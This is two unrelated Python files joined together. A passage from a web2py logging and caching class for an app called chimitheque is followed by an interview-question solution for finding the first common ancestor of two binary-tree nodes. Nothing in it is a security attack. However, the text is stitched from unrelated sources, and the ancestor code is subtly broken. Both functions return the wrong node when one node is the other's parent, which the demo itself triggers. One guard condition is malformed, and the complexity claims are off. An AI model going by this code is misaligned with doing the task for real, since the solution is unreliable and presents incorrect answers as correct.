    return sys._getframe( back + 1 ).f_lineno

def FILE( back = 1 ):
    return sys._getframe( back + 1 ).f_code.co_filename

def FUNC( back = 1):
    return sys._getframe( back + 1 ).f_code.co_name

class chimitheque_logger:

    def __init__(self):
        cache_opts = {
            'cache.type': 'memory',
            'cache.data_dir': './applications/chimitheque/cache/',
            'cache.lock_dir': './applications/chimitheque/cache/'
        }
        #cache_opts = {
        #    'cache.type': 'memory'
        #    'cache.type': 'file'
        #}
        cache = CacheManager(**parse_cache_config_options(cache_opts))
        # user id has a unique key to store the MESSAGE in cache
        try:
            uid = 'cache_console_%s' %str(current.auth.user.id)
        except AttributeError:
            uid = ''
        # getting the cache
        self.tmpl_cache = cache.get_cache(uid, expire=None)

        self.logger = logging.getLogger('web2py.app.chimitheque')

    def getLevel(self):
        return self.logger.getEffectiveLevel()

    def setLevel(self, level):
         self.logger.setLevel(level)

    def debug(self, filename=None, funcname=None, linenumber=None, message=''):
        _filename = FILE() if not filename else filename
        _filename = _filename.split(os.path.sep)[-1]
        _funcname = FUNC() if not funcname else funcname
        _linenumber = LINE() if not linenumber else linenumber
        if self.logger.isEnabledFor(logging.DEBUG):
            self.logger.debug('%s:%s:%s:%s' %(_filename, _funcname, _linenumber, message))
            #self.logger.debug('')

    def info(self, message=''):
        if self.logger.isEnabledFor(logging.INFO):
            self.logger.info(message)

    def warning(self, message=''):
        if self.logger.isEnabledFor(logging.WARNING):
            self.logger.warning(message)

    def error(self, message=''):
        if self.logger.isEnabledFor(logging.ERROR):
            self.logger.error(message)

    def critical(self, message=''):
        if self.logger.isEnabledFor(logging.CRITICAL):
            self.logger.critical(message)

    def get_cached_item(self, message, index):
        _message = self.tmpl_cache.get('console')
        if index == -2:
            index = len(_message) - 1
        if index > len(_message) - 1 or index == -1:
            _message.append(message)
        else:
            _message[ index ] = message
            _message = _message[0:index+1]
        self.tmpl_cache.put('console', _message)
        return _message

    def ram_clear(self):
        self.tmpl_cache.remove_value(key='console')

    def ram(self, message=None, index=0):
        # convert Lazy T into string
        message = str(message) if message else None
        # no MESSAGE = get the cached value
        if not message:
            return XML('<br/>'.join([m for m in self.tmpl_cache.get('console')])) if self.tmpl_cache.has_key('console') else ''
        # returning the cached item
        if self.tmpl_cache.has_key('console'):
            return self.tmpl_cache.get(key='console', createfunc=self.get_cached_item(message, index))
        else:
            return self.tmpl_cache.put('console', [ message ])


# -*- coding: utf-8 -*-

"""
Question 4.8:
    First Common Ancestor: Design an algorithm and write code to find the first common ancestor of two nodes in a
                           binary tree. Avoid storing additional nodes in a data structure. NOTE: This is not
                           necessarily a binary search tree.
"""

class Tree:
    def __init__(self, val):
        self.val = val
        self.left = None
        self.right = None
        self.parent = None

def get_tree():
    a = Tree(4)
    b = Tree(2)
    c = Tree(6)
    d = Tree(1)
    e = Tree(3)
    f = Tree(5)
    g = Tree(7)

    a.left = b
    b.parent = a

    a.right = c
    c.parent = a

    b.left = d
    d.parent = b

    b.right = e
    e.parent = b

    c.left = f
    f.parent = c

    c.right = g
    g.parent = c
    return [a, b, c, d, e, f, g]

def get_first_ancestor(p, q):
    """
    Take O(n2) time and O(1) space
    :param p: Tree Node p
    :param q: Tree Node q
    :return: Tree Node Ancestor
    """
    temp_p = p
    while temp_p.parent:
        temp_p = temp_p.parent
        temp_q = q
        while temp_q.parent:
            temp_q = temp_q.parent
            if temp_p == temp_q:
                return temp_p
    return None

def get_first_ancestor_no_parent(root, p, q):
    """
    Take O(n) time and O(1) space
    :param root: Tree Node Root
    :param p: Tree Node p
    :param q: Tree Node q
    :return: Tree Node Ancestor
    """
    if not (root or root.left or root.right):
        return None
    if root == p or root == q:
        return None
    if p in [root.left, root.right] or q in [root.left, root.right]:
        return root
    if covers(root.left, p) and covers(root.left, q):
        return get_first_ancestor_no_parent(root.left, p, q)
    elif covers(root.right, p) and covers(root.right, q):
        return get_first_ancestor_no_parent(root.right, p, q)
    else:
        return root

def covers(root, p):
    """
    Take O(n) time and O(1) space
    :param root: Tree Node Root
    :param p: Tree Node p
    :return: Result (Whether Root covers p)
    """
    if not root:
        return False
    if root == p:
        return True
    return covers(root.left, p) or covers(root.right, p)

if __name__ == '__main__':
    nodes = get_tree()
    ancestor = get_first_ancestor(nodes[1], nodes[3])
    print(ancestor.val)
    ancestor_no_parent = get_first_ancestor_no_parent(nodes[0], nodes[1], nodes[3])
    print(ancestor_no_parent.val)